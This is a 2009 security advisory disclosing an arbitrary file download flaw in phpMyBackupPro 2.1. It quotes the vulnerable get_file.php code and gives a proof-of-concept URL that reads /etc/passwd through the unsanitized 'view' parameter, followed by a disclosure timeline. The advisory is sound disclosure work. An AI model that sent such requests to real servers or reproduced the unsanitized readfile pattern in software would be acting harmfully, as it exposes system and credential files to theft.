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Arbitrary File Download in phpMyBackupPro
Name Arbitrary File Download in phpMyBackupPro
Systems Affected phpMyBackupPro v 2.1 and possibly earlier versions
site http://www.phpmybackuppro.net
Author Amol Naik (amolnaik4[at]gmail.com)
Date 16/11/2009
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1. OVERVIEW
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phpMyBackupPro is a web-based MySQL backup application in PHP.
You can schedule backups, download, email or upload them with FTP and backup whole file directories.
Zip and gzip compression, easy interface and installation. Many languages and online help!
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2. DESCRIPTION
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phpMyBackupPro is vulnerable to Arbitrary File Download.
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3. TECHNICAL DETAILS
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Arbritrary File Downlaod
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Vulnerable page get_file.php
Vulnerable Parameters view
Vulnerable Code
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// show the requested file
if (isset($_GET['view']) && file_exists($_GET['view'])) {
if (isset($_GET['download'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['view']));
readfile($_GET['view']);
} else {
......
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.......
}
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The parameter "view" is not properly sanitized which results in Arbitrary file download.
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POC
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http://localhost/phpMyBackupPro/get_file.php?download=true&view=/etc/passwd
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4. TimeLine
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20th Oct 2009 Bug Discovered
20th Oct 2009 Reported to Vendor
27th Oct 2009 vendor agreed to the vulnerablity and ready to fix it.
16th Nov 2009 No communication received about the status of the fix.
16th Nov 2009 Public Disclosure